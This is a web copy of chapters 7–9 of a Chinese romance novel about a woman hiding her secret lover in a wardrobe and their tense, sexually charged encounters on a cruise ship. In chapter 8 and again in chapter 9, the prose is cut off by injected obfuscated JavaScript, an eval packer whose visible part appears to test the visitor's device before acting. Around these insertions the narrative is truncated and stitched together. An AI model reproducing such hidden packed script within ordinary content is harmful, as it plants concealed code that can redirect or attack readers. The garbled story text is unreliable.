《疑心症》 7. 07衣柜门 本来提议去她房间只是为了遮掩他俩这层私密关系,可没想到宗柏也真让服务员将他点好的饭菜送来了房间。 看来他真饿了啊。 刷完房卡进门,宗柏也熟练地将餐盘拿到阳台的餐桌上。 不知道他点了几人份的量,小餐桌被摆得满满当当的。 “过来吃。”他唤她过去。 见他一副真要摁着她一起吃点儿的样子,邬芮不大情愿地回:“我吃饱了。” 刚才那家餐厅的菜很一般,她吃了几筷子之后就不想吃了。 三分饱勉强也算饱吧,毕竟沾了“饱”字。 可当目光扫了一圈餐桌后,她还是坐了下来,盯着面前那碗鲜虾云吞面明知故问:“这什么?” 宗柏也显然懒得回她这么幼稚的问题,缄默着将手里的筷子递给她。 邬芮接过筷子,尝了两口。 云吞内馅弹嫩鲜美,面条劲道爽滑。 她不自觉地挑了下眉。 这碗面居然还不错,比她点的菜要好上不少。 “这面是其他餐厅的吗,还是你让厨师另外做的?” 他刚才点餐时消失了一会儿,不知道去哪了。 宗柏也瞥了眼她脸上无意识浮现出的笑,扯唇嗤了声:“话这么多?吃你的饭。” 邬芮撩眼看他,趁他下筷时,眼疾手快地夺走他刚夹起的食物,放进嘴里,用同样的话回他:“看我做什么?吃你的饭。” 宗柏也无语发笑,长臂一伸,连人带椅子将她拖到身边:“又想玩什么?” “嗯……玩什么好呢。”邬芮笑吟吟地侧过身,双腿一抬,挂在他膝上,慢悠悠地晃着,有一下没一下地撞着他的腿,“我想想……” 指尖在他衣领处挑了下,指甲摩挲出细微的声响。 她眼眸微抬,与他视线相撞:“感觉……你还挺好玩的。” “要不玩你吧,怎么样?” 她笑盈盈的眸光中满是狡黠。 无声对视两秒。 暗流涌动,气息交缠。 目光愈发灼热之时,门外骤然响起一道敲门声:“筝筝。” 是乔珈絮的声音。 闻声,心脏猛地一颤。 邬芮几乎是立刻站起身,与他拉开了距离,顺便胡诌了一个借口,拖延门口的乔珈絮:“马上,等我一下哦,我在洗澡。” 她手指发颤着轻握成拳,抵住下唇,目光却开始冷静地扫视着整个房间的格局。 独立卫生间,但配了个玻璃门,根本藏不了人。 白天的阳台如果拉上窗帘,好像有点太刻意了。 一米八的衣柜,容量看起来还行,但是…… 邬芮瞄了眼宗柏也的头顶,让他这189的高个子窝在这小小的衣柜里,他肯定不会同意的。 可还有什么别的地可以藏人吗? 目光再次扫了圈房间。 宗柏也冷眼看着她环顾房间的每个角落,视线偶尔在某处停下,而后游移到他身上,上下打量两眼,随即又移开,如此循环往复了三四次后,她的眸光终于在衣柜处停滞住。 邬芮侧眸,抿了抿唇,犹豫着开口:“宗柏也,你可不可以……藏在衣柜里?” 说这话时,她刻意将语调放软了许多,还带了点撒娇的意味,完全没有了以往那故意挑衅和使小性子时的骄纵与狡黠。 姿态放得很低,示弱意味很明显。 是她惯用的求人态度。 这招对别人算得上是百试百灵,可在宗柏也这儿,她不知道有没有用,毕竟她很少对他这么干。 仅有的几次都在床上,那时候的他完全不吃这套。 床下吃不吃,她就不清楚了。 宗柏也长腿懒散地岔着,完全没有要起身的意思。 他仰眸盯着她,眉心轻拧,却哼笑了声:“这么见不得人?” 很显然,他不吃她这一套。 邬芮抿了抿唇。 确实,见不得人。 可她又不能这么说,她现在非常需要他的配合。 “十分钟,十分钟就好。”她向他保证,“我会尽快和乔乔聊完的。” 然而,回答她的却是:“不可以。” 冷漠的,没有任何回旋余地的拒绝。 宗柏也起身,还是那副面无表情的冷淡脸,一眼都没看她,长腿一迈,与她擦肩而过,他似乎打算就这么出这间房。 不知道她怎么惹他生气了。 明明刚才在餐厅里,她说不能在人前时,他便爽快地松开了她的手。 那以他们默认的不能被第三人发现他们关系的规则来看,她恳求他短暂地躲避一下,不是很合理吗。 他到底在气什么? 可邬芮现在没时间想这些。 她快步到他跟前拦住他:“那你要怎样才能同意?” 又是这副谁都可以拿捏的顺从样。 宗柏也垂眸看她,忽然笑了:“求人没点求人样?” 邬芮一愣。 她怎么没有求人样了,她刚才求人的态度还不算好吗?! 男人那无所谓的找茬样,将她那点叛逆劲儿给激上来了,可她此刻又不得不低头:“这次算我欠你的,到时候随你处置行不行?” “随你处置”这四个字被她说得咬牙切齿。 半不忿,半妥协的态度,语气听上去也很别扭。 可他却因此挑了下眉。 她终于卸下乖顺的伪装,重新在他面前露出了尖锐的爪子。 宗柏也压下脊背,勾颈俯视她:“五分钟,时间到了我就出来。” 这人又在得寸进尺。 邬芮的目光倏地垂落下来。 两人离得很近,她能瞧见他下巴处那道浅淡的咬痕。 指尖一勾,她扯住他颈间的链子轻轻一拽,嘴唇覆上痕印,齿尖再次恶狠狠地咬上他的下巴。 报复他刚才冷漠的拒绝,报复他的得寸进尺。 宗柏也眯了眯眼,一手捏住她后颈,一手在后腰处扬了一掌,胸腔随着笑意微微发颤:“门口那人不用管了是吧?” 邬芮皱了下鼻子,松开银链,将他推进衣柜:“不准发出声音,不然我答应你的都作废!” 毫无震慑力的威胁。 宗柏也侧了侧额,视线越过她,落在房门上:“我帮你把她叫进来?” 衣柜门被重重关上。 房门被打开,乔珈絮边往里走,边四处打量了两眼:“阳台房确实有点小哎,要不然你也跟我一起去睡套房吧,反正那边还有好多空房,这里的床看着就不舒服。” 虽然邬芮不像她这般挑剔,也没有别的富家女惯有的娇气,但是既然有更好的选择,她们干嘛非要遵循凌盛制定出来的弱智规则。 “不用了啦,这里还行,换来换去的麻烦。” 在大家都遵守游戏规则的前提下,她不想做第一个违背规则且高调露面的人。 “你饿坏了吗?”乔珈絮盯着餐桌上大大小小的餐盘,“怎么点这么多?” “啊,就……” 方才慌乱之中,她还记得把浴室的地板弄湿,换了身浴袍,扔掉餐桌上的另一副筷子,但唯独忘了思考,像她胃口这么小的人,点这么多菜的原因是什么。 邬芮咬了咬唇,还未想出合理的解释,就又听见乔珈絮说:“帅哥我已经约好了,你晚上可不能放我鸽子哦。” 乔珈絮兀自以为,邬芮点这么多菜是打算窝在房间里不出门了。 她担心的是这一点。 想到这,邬芮悄悄松了口气。 也是,她不是梁姝,不会用看似无关的问题来试探她,也不会在一些小事上对她起疑心。 “不放你鸽子,我正准备化妆呢。”邬芮扫了眼化妆台上随意摆放的化妆品,和床上铺着的几条裙子与小礼服。 刚刚为了给宗柏也腾出空间,她把衣柜里挂着的裙子全都放到了床上。 没想到这倒成了她随口找的借口的佐证。 乔珈絮嗯哼了一声:“我没想到你喜欢的那个练习生居然是个潜力股,以前就一般般帅吧,现在简直了,帅破天际!而且看上去温和有礼,还挺会说话的。” 方才她和男友回房间时碰到了他,两个相识的圈内人随意聊了几句。 想到这,她彻底聊嗨,聊起劲了,像个特有经验的前辈给邬芮提供建议:“你要不跟人聊聊试试?反正寡着也无聊。” “等会儿可以先和他互换个联系方式,等下船了再加上,像你脸蛋这么美的一绝世美女,性格还这么好,只要加上联系方式了,他肯定巴巴地追你。” “谈恋爱就要谈这样的你知道吗,年纪小但贴心,时不时嘘寒问暖什么的, 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她这种风格,和乔珈絮下午见到的凌盛女伴的风格有些类似。 “这几条怎么样?”邬芮没问原因,挑了几条裙子塞到她怀里,“你要不都带回去试试?” “好啊,爱你哦。” 衣柜门再次被打开,邬芮对着幽暗的空间埋怨道:“宗柏也,你是不是故意的,说好了不准——” 话音戛然而止。 宗柏也弓着背靠在柜壁上,听见她声音时,抬眸看了她一眼,瞳孔涣散,仿佛在透过她看向某个虚空的点,随即他又像是不相信这一幕般,喘着气轻阖上眼皮。 邬芮从没见过这样的他,脸色苍白得吓人,下颌线绷紧,指节因过于用劲而微微泛白,脖颈处浮起一层细密的冷汗,喉结滚动,呼吸滞重,胸膛起伏剧烈却缓慢。 像是…… 被逼入绝境的困兽。 心底倏然一紧,邬芮张了张唇,抓握住他的小臂,就像他在她刚开始学游泳时,将手臂借给她当助力一样:“宗柏也,你……哪里不舒服?” 哪里不舒服? 他面前忽然浮现出一张模糊的脸。 但她从不会这样问,她只会在他被花刺扎到喊疼时,露出不悦的神情,然后在他摇头否认疼痛时,夸奖他:小也真乖。 可这偏又不是全部的她。 她也会笑着唤他过去:“小也,今天我们学中文好不好?” “小也想不想吃牛肉饭?” “小也,你听话地待在这里面,等我喊你,你再出来,知道了吗?” “小也喜欢这个玩具吗?” “小也,小也,小也……” 耳畔忽地传来温柔的呼唤,一直在重复地唤他。 很熟悉,很轻柔。 却又与记忆中的不太一样。 他缓缓睁开眼,那扇长久封闭着的窗户终于投进来了一丝光亮。 梦境与现实在这一刻重叠。 只是,鼻息间不再是那股潮湿的霉味,而是令人心安的气息。 宗柏也终于可以确认,这与记忆中的完全不同。 不同的面容,不同的声音,不同的气息。 他也因此得以喘息。 他仰头深呼吸了几次后,漆黑的瞳仁一瞬不瞬地盯向她,像是试图在她身上烙下痕迹。 须臾,他抓住她递过来的手,略一使劲,将她拥入怀中。 邬芮浑身一颤,僵在那儿,不知该如何是好。 颈侧的呼吸声很重,揽住肩膀的手臂很用力,用力到肩骨都在隐隐作疼。 她应该推开他的,然后皱着眉跟他抱怨:宗柏也,你抱得太紧了,好痛,骨头都要被你捏碎了。 可是她没有。 她甚至还轻轻地拍了拍他的脊背。 这一刻,她成为了安抚的角色。 不对,应该说,她莫名觉得,此刻的他似乎需要安抚。 宗柏也将脸埋进她颈窝,重而缓地呼吸:“你超时了。” 他指出她的不守信。 五分钟。 是他只能支撑五分钟。 邬芮愣住,道歉的话越过意识,先一步脱口而出:“对,对不起。” 8. 08白眼狼 顶层甲板的露天酒吧内,一位女歌手坐在高脚椅上,唱着一首缠绵悱恻的情歌,另一侧的幕布上正在放映一部意大利的爱情片。 慵懒舒适的夜晚,柔和的海风,恰当的气氛,逐渐叫人滋生出隐隐的欲念。 邬芮这边七八个人的卡座里,有对情侣就在这种暧昧的氛围中,聊着聊着旁若无人地接上了吻。 同座的人都见怪不怪地装作无事发生,和身旁的人继续刚才的话题。 “那都是三四年前的事了吧,没想到居然还有人记得我参加过选秀。”闻烨嘴角溢出轻笑,眼睛亮亮地望向邬芮。 “嗯。”邬芮友善地笑了笑,却没了与他继续攀谈的兴趣,目光也不受控地飘远。 没记错的话,室友喜欢的这位选秀练习生,当初立的是高冷社恐的人设。 “哎呀,你们不懂啦,我家宝宝特别社恐,不擅长交际也是很正常的啊。”她还记得舍友当初为了反驳别人吐槽闻烨面瘫而作出的这句解释。 果然,娱乐圈里的人设都是虚假的。 而闻烨褪去那层经纪公司为他设计的虚假包装,显露出真实的性格后,邬芮反倒觉得更无趣了。 太主动太热情的男人,就像是丧失了男性荷尔蒙的生物,会让她失去了解的兴趣。 闻烨的闲谈声仍在耳畔继续,邬芮除了保持体面的微笑,和偶尔给予几句让自己显得不那么敷衍的回应之外,注意力已全然被另一侧的卡座所吸引。 那边卡座里的气氛尤为热闹,以凌盛为首的那一群同圈子里的人都在玩游戏,只除了角落里坐着的宗柏也。 他神态漠然,与周遭热闹的气氛格格不入。 邬芮瞥了两眼后,便收回了视线。 可下一秒,不知怎的,眼尾余光又不自觉地飘向了那边,最后准确地飘到了宗柏也身上。 她看着他偶尔侧额,敷衍地回应身旁的人,脸上情绪不咸不淡,微仰的脖颈线条上,凸起的喉结上下滑动。 虽然宗柏也总是顶着那张脸干出一些很欠扁的事,但是邬芮不得不承认,他那张性冷淡脸和生人勿进的冷漠性格,确实很招女生喜欢,也很能激起女生的征服欲。 他光是坐在那儿,什么也不做,就足够让人移不开眼。 让人想看看,他被扒下衣服后,会是什么样子。 毕竟像他这样的,很容易让人联想到纵欲的极致反差,与不冷淡的强势桎梏。 比如,动情时的低哑闷哼,禁锢住她双手的掌心,小腹处虬结着向下延伸的青筋,点缀在青色经络旁的数颗小痣,望进她眼里时不再清晰淡漠的眸子,脖颈处泛起的薄红…… 邬芮不由自主地吞咽了下。 那一幕幕很蛊惑人的画面,在脑海里跟放映幻灯片似的,一一闪现而过。 她呼出一口气,正想骂自己这个色鬼体质时,脑海中的画面骤然定格在了一帧截然不同的景象上。 是宗柏也在衣柜里冒着冷汗,握住她手的那一帧。 呼吸愕然停滞了一瞬。 那是与他所有性格,所有反差都不相符的冷汗。 ……是害怕吗? 她还记得刚开始和他约的那段时间,偶尔一起睡时,宗柏也总会在床头亮盏小夜灯。 她嫌灯光太亮睡不着,可那时他们仅睡过几次,说的话都没超过十句,算不上熟,她也就没好意思开口让他关灯。 后来她慢慢习惯了睡梦中有一点微弱的亮光,就再没提过这事,也没深想过他这习惯形成的原因。 眼前的画面流转变换,她再次回到了那间衣柜。 绷紧的下颌线,滞缓的呼吸,与幽暗紧闭的空间。 心绪蓦地一顿。 所以,他怕黑? 可怕黑的话,他为什么要同意躲进衣柜里。 像他这么傲慢,又只在乎自己感受的人,怎么可能为了她那点微不足道的条件,而让自己陷入“困境”中。 那太不像宗柏也了。 那不是他的作风。 这件事怎么想都很怪异。 邬芮揉了揉后颈,选择放弃探究这个问题的答案。 可一抬眼,她就与困扰她许久的男人隔着数米的距离撞上了视线。 宗柏也投来的目光漫不经心地落在她身上,停留须臾,又收了回去。 像是不经意的一眼,没有任何波澜。 他们那边的卡座里不知道在聊些什么,起哄声特别大,其中掺杂着“Silvo”的字眼,所有人的视线也都落向了宗柏也。 看来他们此时的焦点全都在宗柏也身上。 不过,焦点中心的人却对身旁的喧闹声置若罔闻,手臂一伸,越过桌前刚倒满的三杯酒,另拿起一瓶酒,开盖,仰头灌下,下颚微抬,下巴处新添的咬痕在暧昧的灯光下若隐若现。 他一连喝了三瓶,嘴唇一张一合,睥睨的姿态。 邬芮盯着他的唇,那样子好像是在说:“行了?” 凌盛闻言,满脸的失望:“哪行了?故意的吧你,真没劲。” - 不知道是酒精的作用,还是下午睡得太久的缘故,邬芮在床上辗转反侧半小时,依然毫无睡意。 当床头闹钟的数字跳至凌晨一点时,她终于掀开被子坐起身,换了身衣服出门。 沉寂的游轮漂浮在无边的海面上,深夜的船舷走廊空无一人。 这恰到好处的寂静,倒是给了她一个放任自己沉溺于水中的机会。 关上房门,邬芮径直走向同层的室内泳池。 几个小时前的酒吧里,乔珈絮将自己的备用机拿给了她,相册里存着每层楼的内部设施布局图,以及船上每位乘客的房间号,包括宗柏也的。 虽然不懂她的用意,但邬芮还是稍微记住了几个关键的位置点。 室内泳池旁是个温泉馆,两处设施的过道相通,要进入泳池则必须要穿过温泉池。 一条腿刚踏入温泉馆时,走廊深处忽然传来一道轻微的喘息声,接着是两人的对话声。 “……哥。” “闭嘴。” 邬芮脚步一顿,瞬间反应过来不远处看不见身影的那对情侣在做什么,她无语又尴尬地转身,往甲板上的露天泳池走去。 又不是没房间,非要来这里接吻干嘛! 她本来只想在室内泳池里泡一会儿的,因此就只穿了件小吊带和休闲热裤,没带外套,但幸好,室外也不算太冷。 邬芮憋着气跳入泳池,沉入池底。 眼神虚空地盯着池边的躺椅,脑海开始渐渐放空。 最后不知怎的,缥缈的思绪突然回到了几小时前,回到了那个解不开的谜团,漆黑的瞳孔,和晦暗不明的目光中。 他为什么,会同意呢? 他究竟…… 池面开始冒出咕噜咕噜的泡泡。 邬芮探出水面,大口大口地深呼吸。 好烦,宗柏也怎么跟阴魂不散似的。 正准备再次沉入水底时,入口那边蓦然走来一道身影。 一个带着金丝边眼镜的男人。 和照片资料上长得一样,一副斯文随和的矜贵样。 是陈亦桉! 心脏一紧,目光慌乱地扫了眼四周。 水下根本藏不了人,水上……也来不及了。 她根本躲避不了。 还没来得及思考,等会儿面对面该怎么解释这一幕时,邬芮便已将手伸出水面,绷紧身体,扑腾起双腿,口中灌入池水,做出溺水的挣扎状。 岸边的男人在看清泳池里溺水之人的面孔时,脚步一顿。 一秒的迟疑后,他大步上前,跳入池中,托着她,将她抱上岸。 “咳咳咳……”邬芮在躺椅上坐起来,侧头看向身旁浑身湿透的男人,“谢,咳咳,谢谢……” 陈亦桉拿起一旁干净的毛巾,披在她肩上:“好些了吗?” 邬芮点点头,嗓音低哑地嗯了声。 在对方转身坐下时,她轻蹙了下眉,不自觉地动了动肩膀,但最终还是忍住了,没有拂去肩头的毛巾。 陈亦桉看了她一会儿,随后突然轻笑了下:“看来你还是没学会游泳。” 话落,邬芮眼睫颤了颤。 他果然调查过自己。 毕竟,她可不认为,他单凭着她五岁时的长相,和小时候那点模糊的记忆就能认出她。 “你也一样啊,几乎没什么变化。”她冲他温和地笑了笑,落在他身上的眸光却带了点审视。 陈亦桉怔了一瞬,可很快就弯起唇角,嗓音温润:“但你好像变了。” “哪里?”邬芮佯装诧异。 “性格。”陈亦桉似乎想到了什么,低眸,敛去眼神中多余的情绪,“你现在的性格和小时候相比,变化很大。” “有吗?” “嗯,现在的你变得更……”他顿了下,似在想一个合适的词,“温和了。” “我还以为是更可爱了。” 空气沉静了两秒后,两人齐齐笑出了声。 “不过,我刚才说错了,你其实也有一点点的变化。”说到这,邬芮察觉自己的脸颊正微微地发着烫,头也有点晕乎乎的。 她忽然由此想到了一个没学会游泳的人深夜来泳池的托辞。 “小时候你总爱和我分享你最爱的玩具和点心,那时我就觉得,你以后要是和女孩子谈恋爱了,肯定会是一个特别温柔的伴侣。” 她可没什么兴趣和他叙旧,闲聊。 更何况,他们也没旧可叙。 所以,她想要借着酒劲,快速进入主题。 陈亦桉闻言愣了愣,直直地朝她看过来,凝视着她微红的脸:“喝醉了?” 所以才大半夜地跑来泳池这边,还差点溺水了。 “没有……我没醉。”邬芮摇摇头,“你……” 陈亦桉眼底的情绪转变得很快,他低头轻笑了下:“你下午也在餐厅里吗?” “嗯,但我不是故意偷听的,只是餐厅里太安静了,我不小心听见了你们的聊天内容。” “让你见笑了,不过你可以放心,我和章韵已经结束了。” “可是……你如果介意我们两边长辈的撮合,我可以去——” “不必了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过来时有没有被人看见? 这么问的意图也太明显了。 她轻摇了摇头,否认掉这个问法。 宗柏也盯着她,一言不发地缓步走近。 那张面无表情的脸让邬芮完全猜不透他的来意。 下午她脱口而出那句道歉后,他一言不发地离开了她的房间,之后两人再无任何交流。 “你想——”话刚出口,便被淹没在了池水中。 他走到她身边,不打一声招呼地将她一起拽到了泳池里。 猝不及防地被迫入水,窒息感在瞬间汹涌地裹住了她。 肺里的空气被挤压出身体,呼吸变得极为困难。 邬芮下意识地挣扎,想往上游,肩膀却被一股不容反抗的力道压制着。 宗柏也根本不给她上岸的机会。 肩上贴着的毛巾被粗鲁地扯掉,最后飘飘转转地落到了岸边。 脑内氧气迅速减少,她根本没有多余的精力去想,他要做什么,他这莫名其妙的举动又是因为什么。 她只有一个念头。 要上岸,要摆脱这个疯子。 宗柏也勾颈,托住她的腰,捏起下巴,贴上嘴唇,撬开唇齿,强行将氧气渡给她。 然而他给予氧气的动作却是三心二意的,跟故意折磨她似的,时而渡气给她,时而咬着她的唇,与她在水底接吻,暴虐地夺走她的呼吸,只留给她仅供喘息的稀薄空气。 邬芮张了张唇,双臂攀上他脖颈,身体也在同一时间向他靠。 她开始一点点地回应他的吻,然而在他舌头探入口腔,吻更重更深地落下来后,她却奋力地咬向他。 恶狠狠地用了劲。 口腔内有血腥味在蔓延。 禁锢有所松动,她往上游了游,将口鼻探出水面,手脚并用地挣脱开他的桎梏。 太莫名其妙了。 宗柏也到底想干什么?! 眉心紧皱,她背对着他往岸边游,借着池水的力,摆动小腿的同时,还准确无误地向后踹了一脚他的胸肌。 宗柏也看着她像条小鱼,灵活地脱离开他的怀抱,转身摆摆尾,准备就这样游走。 他低眸俯了眼自己的胸口,哂笑了下。 白眼狼。 下一秒,他又握住小鱼的尾鳍,将她拽回了身边。 他可以放任她畅游片刻,但最终她还是会被他绑在怀里,被他拉着一起在泥沼里沉沦。 他偏要拽着她一起。 不论是下坠,还是上浮。 他都……偏要。 姿势变动得太快,邬芮下意识扶上他肩膀来维持住左右摇晃的身体。 可宗柏也偏要与她作对一般,身体微微后仰,并不打算借力给她。 他垂眸睨着她,声线冷硬,藏着讥讽:“怎么,又不会游了?” “准备再溺一回?” 9. 09血腥味 话音落地,呼吸起伏微顿了下。 邬芮掀眼看他,眸光落在他满是讥诮的眉眼间。 停留两秒后,嘴角无意识间轻快地翘了下。 看来,他目睹了全程,而且还……很介意,很愤怒。 想到这,心脏搏动的频率骤然加快,指甲陷入他肩膀的肌肉里。 她听见自己上扬的嗓音,带着同样的刺,呛人又尖锐:“怎么,看到我和别的男人讲话,占有欲爆发了?” 隐秘的快感在身体内横冲直撞,最后如同碳酸汽水里的气泡,滋滋作响地窜上头顶。 “放心。”双手在他后颈处交叠,上半身微微后仰,在感受到后腰裸露的肌肤被覆上一道侵略性的桎梏时,唇边的弧度扩得更明显了,“之前说好了的,我要是泡到比你更好的,一定先和你断了再跟他发展。” 宗柏也冷嗤,指腹在她细嫩的肌肤上摩挲:“这么有原则?” “这样就算有原则啊。”邬芮渐渐收紧双臂,将两人的距离拉近,语气暧昧又迷离,“那要是没原则一点,是不是就能和你们两个一起发展了?” 虽然两人之前都默契地不过问彼此的私事,但关系存续期间,保持专一也是心照不宣的规则。 对邬芮而言,这不过是健康交往的基本准则。 而对宗柏也来说,则更多的是出于骨子里的占有欲,他对任何与自己有关的人或事,都有种特别执着的占有欲。 就像是动物护食,是天性,也是本能的执着。 要想让他放弃这种本能,除非……她切断他们的关系。 “所以?”他漫不经心地摁了摁她的腰窝,似乎对她的挑衅并不在意。 “所以……”摁在后腰上的力道有点大,邬芮抿着唇轻蹙了下眉,“你也不介意吧,我再去泡别的男人。” 话落,她猛地深吸一口气,一边推他一边往后躲:“等,等等……不准咬那儿!” 那里太明显了,她还怎么穿露肩的衣服! 而且他这次像是要把她拆吃入腹一般,完全不管不顾地用了狠劲,肩头很快传来一阵刺痛。 她侧视过去,肩膀上留下了一排咬痕。 嫩白的肌肤泛了红,渗着血丝。 混蛋…… 这人属狗的吗。 心底在骂骂咧咧,心尖却陡然一颤,尾椎骨莫名窜起一股细微的电流。 头皮发麻得厉害,她咬唇咽下溢至唇边的一声哼吟。 宗柏也后撤了点距离,染了血的嘴角扯着笑:“不咬那儿,咬哪儿?” 目光落在他沾血的嘴唇,胸口发紧,呼吸不自觉地屏住,邬芮张了张唇,却发不出声音。 等了两秒,男人耐心告罄,捏住她后颈,用动作代替她回答。 他低颈撕咬上来,宛如兽类在啃食猎物。 这一次,他是真的会将她一口一口吃掉。 邬芮受不住地呜咽几声,一直在吞咽,上半身下意识后仰,手指滑入他项间,攥住他颈间的链条,边恶劣地摇晃着磨他脖颈,边往自己这边拽。 两人靠得很近,浑身都湿透了,单薄的布料紧贴着身体曲线,彼此的呼吸和体温都紧密地纠缠着。 池水是冷的,身体却在发烫。 宗柏也睁眼盯着她。 怀里的人长睫轻颤,唇瓣微张,主动伸出舌尖勾缠上他的唇舌。 一脸动情的迷离样,所有行为都像是刻在基因里的潜意识。 他不自觉勾唇轻笑了下,凶猛的撕扯在这一刻转变为舔吮的轻吻。 下一秒,视线垂落,凝滞在某一点上。 她的肩膀在渗血。 他在她肩膀上咬出的牙印很明显。 粗粝指腹忍不住地覆上,来回摩挲着那道伤口。 邬芮闭着眼缩了缩肩膀,有点疼,但更多的是痒意,鼻腔受不了地哼出些微弱的声音。 宗柏也在这时倏忽结束了这个吻,将她抱坐到岸边:“房卡。” 邬芮闻言一怔,如梦初醒般睁开眼,挣扎着推拒他:“不行!” 这边房间的私密性并不好,怎么能在这里做。 宗柏也哼笑了下,忽视她的挣扎,也懒得再开口,单手抱起她就往外走。 直到被他带进淋浴室,邬芮这才察觉出一丝不对劲。 从进房间后,他的手就一直都规规矩矩的,哪儿也没掐,哪儿也没摸,只专注地一遍又一遍地清洗她的身体,好像给她洗澡就是他目前最重要的事。 原来就只是洗个澡而已啊。 她吐出一口气,肩膀下塌,表情恹恹地任由他往自己身上抹沐浴露。 但是她又不是手废了动不了,只是单纯洗个澡的话,他干嘛非要和她一起洗。 这样的宗柏也反倒让她不习惯了。 这个澡洗了好久还没洗完,邬芮闲着无聊,这儿看一眼那儿看一眼,视线最后停滞在某一部位上,一个撩拨的念头顿时浮现在脑海。 虽然这样做无异于在老虎头上拔毛,可她还是忍不住伸手往下逗了逗他。 宗柏也冲掉她身上的泡沫,顺便掐了她一下,嗓音懒倦:“你要想在这儿,也不是不行。” 邬芮抖了抖,没敢再放肆。 她虽然喜欢挑衅他,撩拨他,但总会注意场合,毕竟要顾及的东西比他多得多。 可他骨子里透着股不管不顾的狠劲,向来随心所欲,言出必行。 因此,她要是真继续下去,他必定会说到做到的。 进浴室前,宗柏也就叫了客房服务,给她吹完头发后,他才将门口的医药箱拿进房间。 见他将医药箱放在沙发边的矮几上,接着拿出碘伏棉签望向自己时,邬芮站在原地怔了怔。 “擦药。”宗柏也啧了声,提醒她,“不痛了?” 邬芮拿腔拿调地走过去,故意站在他面前,不低头,也不坐下,阴阳怪气地冷哼了声:“你再晚一点擦,伤口都要愈合了。” 她侧了侧身,将肩膀伤口怼到他面前,嘴上仍在阴阳怪气地控诉他。 “我还以为你贵人多忘事,把我这点小伤口给忘了呢。” “宗柏也,你知不知道你现在这行为叫什么?” “你就是,猫哭耗子假慈悲。” “黄鼠狼给鸡拜年,没安好心。” 宗柏也仰头,将碘伏涂抹在伤口处,不咸不淡地应和她:“嗯,我假慈悲。” “不止,你还是狗,咬人咬得这么痛。”邬芮顿了下,突感不妙,后知后觉地抿抿唇,触及到唇上的破口后,那张漂亮的脸皱得更严重了,“嘴也被你咬破了,你故意的吧!” 宗柏也抬了抬下巴,专注的目光落在她唇上,一眼过后,他散漫地点了下头:“嗯,我咬的。” 邬芮:“……” 她怎么觉得,他的态度带了点不以为耻反以为荣的恶劣,而且他那样子莫名有种在炫耀自己战利品的感觉。 视线在他脸上游移,最终不受控地停在那道未消的齿痕上。 冷敷过的肌肤已经褪去了浮肿,但在顶光灯的投照下,下巴那一圈的皮肤仍泛着异样的红,尤其是那串牙印,清晰得刺目,想不看见都难。 “活该。”她盯着那排咬痕,言简意赅地吐出两个字。 宗柏也指尖一顿,无语发笑:“你被咬了,我就是猫、黄鼠狼、狗,我被你咬就落一句活该?” “对啊,反正不管谁咬谁,都是你的错。”她说得理直气壮。 话音刚落,一只温热有力的手掌扣住她腰身,将她拉坐到他腿上。 “行。”宗柏也向来懒得与她进行这种幼稚的争辩,“罪名都给我定了,不继续咬不是亏了?” 他说着就要去咬她另一边的肩膀。 邬芮心底一骇,推他胸口:“滚啊,你不去打狂犬疫苗才是亏了。” 涂完伤口,宗柏也扔掉棉签,脊背后靠,陷入沙发,视线落在邬芮那张仍在骂骂咧咧的嘴上。 “口欲期吗你是?我去找个磨牙棒给你行不行?” “你要真咬上瘾了的话,我去逮只死老鼠给你咬。” “我真该搞个止咬器给你戴上!” 痛快骂了几句后,邬芮一抬眼,便瞧见宗柏也靠在沙发上,噙着笑意觑着她。 一副慵懒的惬意样。 “你要干嘛?”她警觉开口,总觉得他不似面上那般平静,肯定在想惩罚她的法子。 “我要你亲我。”命令式的口吻,却故意学着她的话和语气。 他懒洋洋地笑,难得坦诚。 邬芮一怔,随即反应过来,开始摆脸,故作凶狠:“吵架呢,别打断我的思路。” 宗柏也哦了声:“那你继续。” 邬芮:“……” 他居然就这么妥协了。 下一秒,他的目光开始游走,不再执迷于她的唇。 转而流连于她的所有。 她踩在他脚背上的双足,她身上那条他挑选的睡裙,散发着浅淡果香味的长发,以及依旧喋喋不休的唇瓣…… 片刻后,眸光就此停住,他嘴角的笑意扩得更深。 “你——”邬芮突然噤声,拧眉瞪他,“有这么好笑吗?” 他到底在笑什么? 被骂了还笑得这么开心,疯了吧?! 宗柏也攥住她手腕,顺势将她拽入怀中,低声道:“亲完再骂。” “不要!我没说要跟你接吻。” “死老鼠我给你抓。” “……” “止咬器想要什么样的?” “唔……”问了又不让她回。 “好了,不能再往下了。”她真有点怕他们在这擦枪走火,“宗柏也,你怎么还咬!” “混蛋!说好了不在我身上留牙印的。”她冷着一张脸推他,“你快滚,滚出我房间。” 宗柏也低眸看了眼挂在他腰间的腿,眉眼笑得戏谑:“腿是被迫的?” 邬芮怔了下,指甲掐向他后背,刻意抓得又重又狠:“……你迟早精尽人亡。” 他嗯了声,嗓音含笑:“借你吉言。” - 登船的第二天下午,凌盛忽然起了兴致,办了场抽签形式的网球友谊赛,将船上所有宾客全都聚集在了网球场。 他们这个阶层的二代们多少都拿网球当过消遣,余下的一些小明星们即便没有接触过网球,也甘愿作凌大少爷兴致的陪衬。 说是比赛,规则却很随意,抽到谁就和谁打,找帮手,双打对抗单打都是被允许的,只要赢了对手就都算数。 场上刚结束两轮,气氛正热。 一片喧闹声中,邬芮坐在场边的休息区里,低头调整着手腕上的绷带。 身前蓦然投下一片阴影,还未来得及抬头,她便听见那道身影低声询问:“介意和我配双打吗?” 她循声抬眸,陈亦桉正站在跟前笑着望向她:“抽到我的对手刚去找了个帮手,我一个人面对他们混合双打,恐怕有点力不从心。” “我还记得,小时候我们刚开始学网球那会儿,教练还夸你很有天赋,当时我以为你会走职业这条路。”他顿了下,意识到话题扯远了,随即藏起锋芒,“不过网球这项运动当业余爱好也挺好的。” 邬芮闻声眯了眯眼。 他这句话的句式…… 和她昨天试探他的句式很相像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下了场,陈亦桉接过侍者递来的水,转手给了邬芮。 